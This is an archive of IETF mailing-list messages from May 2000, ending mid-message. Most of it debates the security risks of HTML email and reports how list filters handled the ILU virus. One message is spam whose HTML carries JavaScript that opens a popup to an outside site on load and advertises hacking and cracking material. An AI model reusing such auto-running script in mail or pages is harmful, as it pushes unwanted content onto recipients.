Copyright (c) 2000 Software Munitions



From owner-ietf-outbound  Thu May 11 11:00:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA29641
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 11:00:03 -0400 (EDT)
Received: from mail.xybridge.com (IDENT:root@[209.111.160.85])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29546
	for <ietf@ietf.org>; Thu, 11 May 2000 10:55:49 -0400 (EDT)
Received: from yixin ([10.10.13.107])
	by mail.xybridge.com (8.9.3/8.9.3) with SMTP id KAA01611
	for <ietf@ietf.org>; Thu, 11 May 2000 10:01:15 -0500
From: "Yixin Zhu" <yixin@xybridge.com>
To: <ietf@ietf.org>
Subject: Any comparison Study on MGCP vs H.323, MGCP vs SIP
Date: Thu, 11 May 2000 09:55:25 -0500
Message-ID: <NDBBIFGHKLHKNCMEKGHAIENACAAA.yixin@xybridge.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
In-reply-to: <200004271512.JAA09824@calcite.rhyolite.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,

There are studies on the comparision of the two competing protocol SIP and
H.323. However, MGCP can also provide call control functionalities. A
network with MGCP only (Call agent, MG etc) can provide basic VoIP service
too. Then my questions are

1. Are there any comparison study between MGCP and H.323?

2. Are there any comparision study between MGCP  and SIP?


You help is very much appreciated. Thanks,


Yixin (James) ZHU




From owner-ietf-outbound  Thu May 11 11:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA29994
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 11:10:03 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29863
	for <ietf@ietf.org>; Thu, 11 May 2000 11:06:31 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHM79K>; Thu, 11 May 2000 11:13:09 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D91E@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'Scot Mc Pherson'" <smcpherson@clearaccess.net>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 11:13:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Scot,

While what you say is true - meaning an all-text restriction on your email
browser will prevent
"dangerous goods" to be downloaded - it also takes away functionality. We
have to find a way to
be able to use html based email but restrict it from - say running scripts,
executing anything,
writing cookies, issuing queries, etc... Until that happens, you're right -
html based email
is like a runaway train. We have to invent the "brakes" now.

Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


>>-----Original Message-----
>>From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
>>Sent: Thursday, May 11, 2000 10:07 AM
>>To: Valdis.Kletnieks@vt.edu; 'Castro, Edison M. (PCA)'
>>Cc: 'Steven M. Bellovin'; Stef@NMA.COM; 'Brant Knudson'; ietf@ietf.org
>>Subject: RE: VIRUS WARNING 
>>
>>
>>I believe the one of the most important holes is html based mail, because
>>the e-mail is processed as a webpage which can be used to download
>>undesirable content. If you configure your e-mail browser to display all
>>messages as text you will close this hole...You will notice my e-mails are
>>nearly 100% text
>>
>>Scot



From owner-ietf-outbound  Thu May 11 12:20:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA01800
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 12:20:01 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01639
	for <ietf@ietf.org>; Thu, 11 May 2000 12:11:30 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id KAA26658
	for ietf@ietf.org  env-from <vjs>;
	Thu, 11 May 2000 10:11:32 -0600 (MDT)
Date: Thu, 11 May 2000 10:11:32 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005111611.KAA26658@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: VIRUS WARNING
X-Loop: ietf@ietf.org

> From: Lillian Komlossy <Lillian@dmnews.com>

> While what you say is true - meaning an all-text restriction on your email
> browser will prevent
> "dangerous goods" to be downloaded - it also takes away functionality. We
> have to find a way to
> be able to use html based email but restrict it from - say running scripts,
> executing anything,
> writing cookies, issuing queries, etc... Until that happens, you're right -
> html based email
> is like a runaway train. We have to invent the "brakes" now.


Never mind the other reasons why HTML based email is considered an
abomination by many who understand the issues.  What you want is
self-contradictory.  What good is HTML based email if it cannot run
scripts or even contain links to other HTML content?  Once you restrict
HTML based email enough to be safe, why bother with anything more than
text and perhaps simple pictures?  It's not only programs in email that
are dangerous, but also HTTP references.  Recall the recent disclosures
concerning the use of unique to the target URL's of invisible pages in
email and web sites instead of HTTP cookies.

You want to run your freight train down a long pass with an 8% grade at
100 miles per hour, and not need to worry about it running away.  Maybe
someday there will be some other solution, but today the only tactics
that let breaks control a train in such circumstances begin with going far
less than 100 mph.

You simply cannot have unbridled user-friendliness and security against
bad guys.  No matter what the salescritters and pointy-haired claim,
security and convenience will always be at odds.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Thu May 11 12:30:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA02103
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 12:30:03 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01762
	for <ietf@ietf.org>; Thu, 11 May 2000 12:17:49 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id MAA31502
	for <ietf@ietf.org>; Thu, 11 May 2000 12:16:51 -0400
Sender: francis@localhost.localdomain
Message-ID: <391ADCF2.E8DA1C11@ecal.com>
Date: Thu, 11 May 2000 12:16:50 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: VIRUS WARNING
References: <983B9A17F5EBD311905600D0B73EA0DE03D91E@mail.dmnews.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Lillian Komlossy wrote:

> We
> have to find a way to
> be able to use html based email but restrict it from - say running scripts,
> executing anything,
> writing cookies, issuing queries, etc...

So turn off JavaScript for mail messages.

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |But this one goes to 11x.                    |
|francis@ecal.com|                                             |
\==============================================================/





From owner-ietf-outbound  Thu May 11 12:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA02383
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 12:40:03 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01884
	for <ietf@ietf.org>; Thu, 11 May 2000 12:23:30 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id SAA08219
	for <ietf@ietf.org>; Thu, 11 May 2000 18:23:31 +0200
Message-Id: <4.3.1.2.20000511110511.051aa1d0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 11 May 2000 18:20:15 +0200
To: ietf@ietf.org
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Postmortem of ILU to the ietf+censored list
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

I've checked the logs for the ietf+censored list after the recent ILU virus 
that was sent to the list, 3 days after the initial release of the virus.

25-30 recipients (out of 147) rejected the message. Many more probably just 
caught it and deleted it. People are quick to install filters.

What's more interesting is that some of the next messages, discussing the 
virus, perhaps containing deactivated copies, but NOT containing a "live" 
virus, were *also* rejected by almost all the people who rejected the virus 
posting itself.

The filters seem simplistic. Or perhaps just erring on the side of safety.

                         Harald
--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Thu May 11 13:40:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA04064
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 13:40:03 -0400 (EDT)
Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.100.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03873
	for <ietf@ietf.org>; Thu, 11 May 2000 13:31:14 -0400 (EDT)
Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214])
	by sfo.erg.sri.com (8.9.1/8.9.0) with ESMTP id KAA25409;
	Thu, 11 May 2000 10:31:13 -0700 (PDT)
Message-ID: <391AEE64.4B122BA4@erg.sri.com>
Date: Thu, 11 May 2000 10:31:16 -0700
From: "Fred L. Templin" <templin@erg.sri.com>
Organization: SRI International
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: Wireless LAN experiences from the IETF meetings?
References: <200005111244.OAA12822@tyholt.uninett.no>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Many thanks to all who have replied to my inquiry regarding
Wireless LAN experiences from the IETF meetings. The responses
have been very helpful and greatly appreciated.

Fred Templin
templin@erg.sri.com



From owner-ietf-outbound  Thu May 11 13:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA04237
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 13:50:03 -0400 (EDT)
Received: from teapot32.domain8.bigpond.com (teapot32.domain8.bigpond.com [139.134.5.180])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04036
	for <ietf@ietf.org>; Thu, 11 May 2000 13:39:58 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1]) by teapot32.domain8.bigpond.com (NTMail 3.02.13) with ESMTP id na716833 for <ietf@ietf.org>; Fri, 12 May 2000 03:37:10 +1000
Received: from DC-56-194.bpb.bigpond.com ([203.40.56.194]) by mail8.bigpond.com (Claudes-Rainy-MailRouter V2.7e 17/3437166); 12 May 2000 03:37:09
From: "Mafiouso" <Mafiouso@most-wanted.com>
To: "ietf@ietf.org" <ietf@ietf.org>
Date: Fri, 12 May 2000 03:25:27 +1000
Subject: Mafiouso Hits Back!
Reply-To: Mafiouso@most-wanted.com
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__24682211_12327.42"
Content-Transfer-Encoding: 7bit
X-Priority: 1
Message-Id: <17371055077305@domain8.bigpond.com>
X-Loop: ietf@ietf.org

This is a Multipart MIME message.

------=_NextPart_000_001__24682211_12327.42
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable



------=_NextPart_000_001__24682211_12327.42
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<html>
<head>

<script language=3D"JavaScript">


<!-- hide=20

window.name=3D"opener"=20

// open new window
function openWindow(url, name, rs, h, w) {
var resize =3D "";
if (rs) {
resize =3D "resizable,";
}
popupWin =3D window.open('http://mafiouso5.tripod.com/mail.htm', name, + re=
size +
'width=3D' + w + ',height=3D' + h);
}=20

// done hiding -->=20


</script>
</head>
<body bgcolor=3D"#FFFFFF" onLoad=3D"openWindow();" text=3D"#333333" link=3D=
"#009900" vlink=3D"#FFFFFF" alink=3D"#FFFFFF" topmargin=3D"0">
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"><b>$ </b>Hey!</font=
></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"><b>$ </b>Check Out =
This=20
  Page:</font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"> <b><a href=3D"%3Cf=
ont%20face=3D%22Verdana,%20Arial,%20Helvetica,%20sans-serif%22%3E%3Cb%3Ehtt=
p://mafiouso5.tripod.com%3C/b%3E%3C/font%3E" target=3D"_blank">http://mafio=
uso5.tripod.com</a></b></font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"> <b>$</b> Everythin=
g You=20
  Want Mp3s, Pictures, Movies, Hacking, Cracking.... What Ever Your After, =
You=20
  Will Find It Here.<br>
  </font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"> <b>$ </b>Want a HO=
T <b>Christina=20
  Aguilera</b> Background For Your PC<br>
  <b>$</b> Just Goto The Link Below And Right Click, Then `SET AS WALLPAPER=
. </font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"><b><a href=3D"%3Cfo=
nt%20face=3D%22Verdana,%20Arial,%20Helvetica,%20sans-serif%22%3E%3Cb%3Ehttp=
://mafiouso5.tripod.com/Christina.jpg%3C/b%3E%3C/font%3E" target=3D"_blank"=
>http://mafiouso5.tripod.com/Christina.jpg</a></b> =0D
  </font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"><b>$ Contact Mafiou=
so At:=20
  </b></font></p>
<p><font face=3D"Verdana, Arial, Helvetica, sans-serif"><b>$</b> ICQ 537097=
50<br>
  <b>$</b> Email <a href=3D"mailto:mafiouso@most-wanted.com">mafiouso@most-=
wanted.com</a></font></p>
</body>
</html>

------=_NextPart_000_001__24682211_12327.42--



From owner-ietf-outbound  Thu May 11 14:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA04441
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 14:00:03 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04406
	for <ietf@ietf.org>; Thu, 11 May 2000 13:59:37 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id NAA16350;
	Thu, 11 May 2000 13:58:40 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: "'Lillian Komlossy'" <Lillian@dmnews.com>
Cc: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 13:59:19 -0400
Message-ID: <00a601bfbb72$a214c800$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <983B9A17F5EBD311905600D0B73EA0DE03D91E@mail.dmnews.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Lillian,
	I am not so sure I totally agree. Why exactly do we need HTML based
e-mail...Is it really necessary? E-mail is a service for transmitting a
written message, and written messages certainly don't require background
graphics or a full blown graphically based webpage.

	There are a few reasons why I believe this, one of the most compelling IMHO
is that graphic content in e-mails increases the size of the e-mail
exponentially, thus greatly contributing to the packet congestion already
extremely evident on the Internet today. I realize that we are developing
new technologies all the time that increase bandwidth, but I think its
terribly inefficient, and dangerous.

	There is no practical need for html e-mail. It like saying I want to use a
tractor trailer to commute to work everyday, but it needs to consume only as
much gas as an eco car, and go as fast a Ferrari.

Scot



-----Original Message-----
From: Lillian Komlossy [mailto:Lillian@dmnews.com]
Sent: Thursday, May 11, 2000 11:13 AM
To: 'Scot Mc Pherson'
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING


Scot,

While what you say is true - meaning an all-text restriction on your email
browser will prevent
"dangerous goods" to be downloaded - it also takes away functionality. We
have to find a way to
be able to use html based email but restrict it from - say running scripts,
executing anything,
writing cookies, issuing queries, etc... Until that happens, you're right -
html based email
is like a runaway train. We have to invent the "brakes" now.

Lillian Komlossy
Site Manager
http://www.dmnews.com
http://www.imarketingnews.com
(212) 925-7300 ext. 232


>>-----Original Message-----
>>From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
>>Sent: Thursday, May 11, 2000 10:07 AM
>>To: Valdis.Kletnieks@vt.edu; 'Castro, Edison M. (PCA)'
>>Cc: 'Steven M. Bellovin'; Stef@NMA.COM; 'Brant Knudson'; ietf@ietf.org
>>Subject: RE: VIRUS WARNING
>>
>>
>>I believe the one of the most important holes is html based mail, because
>>the e-mail is processed as a webpage which can be used to download
>>undesirable content. If you configure your e-mail browser to display all
>>messages as text you will close this hole...You will notice my e-mails are
>>nearly 100% text
>>
>>Scot



From owner-ietf-outbound  Thu May 11 14:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA04814
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 14:10:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04730
	for <ietf@ietf.org>; Thu, 11 May 2000 14:07:22 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4BI7Lk19404;
	Thu, 11 May 2000 14:07:21 -0400
Message-Id: <200005111807.e4BI7Lk19404@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Scot Mc Pherson <smcpherson@clearaccess.net>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 11 May 2000 13:59:19 EDT."
             <00a601bfbb72$a214c800$4cc8a8c0@clearaccess.net> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <00a601bfbb72$a214c800$4cc8a8c0@clearaccess.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 14:07:21 -0400
X-Loop: ietf@ietf.org

On Thu, 11 May 2000 13:59:19 EDT, Scot Mc Pherson said:
> 	There is no practical need for html e-mail. It like saying I want to use a
> tractor trailer to commute to work everyday, but it needs to consume only as
> much gas as an eco car, and go as fast a Ferrari.

If the computer industry advanced as fast as the automotive industry, we'd
now have computers that run at 5400RPM instead of the old slow 3600RPM drum
memories, they'd consume only 90 kilowatts of power instead of 150..

Wait.. I got that quote backwards, didn't I? ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May 11 14:20:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA05151
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 14:20:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04900
	for <ietf@ietf.org>; Thu, 11 May 2000 14:12:32 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4BICWk32338
	for <ietf@ietf.org>; Thu, 11 May 2000 14:12:32 -0400
Message-Id: <200005111812.e4BICWk32338@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: "ietf@ietf.org" <ietf@ietf.org>
Subject: Re: Mafiouso Hits Back! 
In-reply-to: Your message of "Fri, 12 May 2000 03:25:27 +1000."
             <17371055077305@domain8.bigpond.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <17371055077305@domain8.bigpond.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 14:12:32 -0400
X-Loop: ietf@ietf.org

On Fri, 12 May 2000 03:25:27 +1000, Mafiouso <Mafiouso@most-wanted.com>  said:
>Everything You Want Mp3s, Pictures, Movies, Hacking, Cracking.... 
> What Ever Your After, You Will Find It Here.

Kinda like advertising moonshine at the ATF agent's convention, isn't it?

Although it's certainly not evidence for the "text/html considered harmful"
debate - it's just as annoying as a text/plain. ;)


-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May 11 14:30:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA05450
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 14:30:03 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA05271
	for <ietf@ietf.org>; Thu, 11 May 2000 14:22:30 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHM8KH>; Thu, 11 May 2000 14:29:08 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D921@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'Scot Mc Pherson'" <smcpherson@clearaccess.net>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 14:29:05 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Scot,

ITA we do not need the HTML email for our everyday use.
HTML based email is mainly used by the Email-Newsletter companies, (i.e.
Whitehat,
Exactis, etc...) especially for advertising purposes. 
We can argue that we don't need it but in reality, these companies 
live off the daily newsletters they send out. I believe all of these
newsletters 
are being sent out to people who actually subscribed to receive them.
While the reason is mainly commercial it cannot be ignored. As far as the
bandwidth is concerned - most of those HTML emails don't actually email the
images 
but rather display it via a link from their own server. (Which of course
does not help
bandwidth matters especially if first the run it through a logging agent).
I believe the problem starts when somebody writes an HTML email that can
retrieve, 
write or execute anything on the receiving client's system.
I agree with you - it is contradictory. So is every new technology, even the
more
tangible ones. I'll bet once everybody agreed that there is no need for the
automobile, horses will do fine -  but now we want to take our
tractor-trailer 
to work, on an eco-car style gas-burn, and speed as fast as a Ferrari. Go
figure.


Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
Sent: Thursday, May 11, 2000 1:59 PM
To: 'Lillian Komlossy'
Cc: ietf@ietf.org
Subject: RE: VIRUS WARNING 


Lillian,
	I am not so sure I totally agree. Why exactly do we need HTML based
e-mail...Is it really necessary? E-mail is a service for transmitting a
written message, and written messages certainly don't require background
graphics or a full blown graphically based webpage.

	There are a few reasons why I believe this, one of the most
compelling IMHO
is that graphic content in e-mails increases the size of the e-mail
exponentially, thus greatly contributing to the packet congestion already
extremely evident on the Internet today. I realize that we are developing
new technologies all the time that increase bandwidth, but I think its
terribly inefficient, and dangerous.

	There is no practical need for html e-mail. It like saying I want to
use a
tractor trailer to commute to work everyday, but it needs to consume only as
much gas as an eco car, and go as fast a Ferrari.

Scot



-----Original Message-----
From: Lillian Komlossy [mailto:Lillian@dmnews.com]
Sent: Thursday, May 11, 2000 11:13 AM
To: 'Scot Mc Pherson'
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING


Scot,

While what you say is true - meaning an all-text restriction on your email
browser will prevent
"dangerous goods" to be downloaded - it also takes away functionality. We
have to find a way to
be able to use html based email but restrict it from - say running scripts,
executing anything,
writing cookies, issuing queries, etc... Until that happens, you're right -
html based email
is like a runaway train. We have to invent the "brakes" now.

Lillian Komlossy
Site Manager
http://www.dmnews.com
http://www.imarketingnews.com
(212) 925-7300 ext. 232


>>-----Original Message-----
>>From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
>>Sent: Thursday, May 11, 2000 10:07 AM
>>To: Valdis.Kletnieks@vt.edu; 'Castro, Edison M. (PCA)'
>>Cc: 'Steven M. Bellovin'; Stef@NMA.COM; 'Brant Knudson'; ietf@ietf.org
>>Subject: RE: VIRUS WARNING
>>
>>
>>I believe the one of the most important holes is html based mail, because
>>the e-mail is processed as a webpage which can be used to download
>>undesirable content. If you configure your e-mail browser to display all
>>messages as text you will close this hole...You will notice my e-mails are
>>nearly 100% text
>>
>>Scot



From owner-ietf-outbound  Thu May 11 15:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA05993
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 15:00:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA05863
	for <ietf@ietf.org>; Thu, 11 May 2000 14:50:10 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id UAA07108 for <ietf@ietf.org>;
	Thu, 11 May 2000 20:50:10 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210125b540adedd536@[130.237.150.138]>
In-Reply-To: <200005111611.KAA26658@calcite.rhyolite.com>
References: <200005111611.KAA26658@calcite.rhyolite.com>
Date: Thu, 11 May 2000 20:36:52 +0200
To: ietf@ietf.org
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: RE: VIRUS WARNING
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 10.11 -0600 0-05-11, Vernon Schryver wrote:
> Once you restrict
> HTML based email enough to be safe, why bother with anything more than
> text and perhaps simple pictures?

What is wrong with that. I use HTML-based e-mail mostly to
inluce pictures in my messages.

A very useful way of using HTML-based e-mail would also be
to send out forms and fill them in via mail, but this does
not work so well because some mailers does not handle such
messages very good yet.
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Thu May 11 15:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA06203
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 15:10:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06152
	for <ietf@ietf.org>; Thu, 11 May 2000 15:05:01 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id PAA16649
	for <ietf@ietf.org>; Thu, 11 May 2000 15:04:10 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 15:04:48 -0400
Message-ID: <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <983B9A17F5EBD311905600D0B73EA0DE03D921@mail.dmnews.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Lillian,
	Those newsletters that you have spoken of can quite easily be distributed
in text format with the standard html tags that are used in text based
messages already. Notice my sig has the standard mailto and http tags which
can be recognized by the e-mail browser ("Note this is a text message too"),
that directs the user to the necessary info if they are inclined without
ramming the website down their throat.
	You are correct in stating that html e-mail does not necessarily and
ordinarily does not contain the actual graphical content, but it does "call"
the content in question the moment it is opened. This is transmitting an
entire webpage through e-mail because in fact a webpage is just the html
code which "calls" all the hrefs that exist elsewhere, whether on the local
host or not.
	I certainly agree that html e-mail is also dangerous due to the ability to
link the content local to the e-mail readers host. It creates the ability
for the sender of an e-mail to gather information that may not be considered
sensitive or otherwise plainly undesirable. It also opens the ability to
introduce agents and other infectious material to a host that would
otherwise require a user's physical acceptance of such material.
	The necessity to send e-mail in html is NOT. Regardless of whether a list
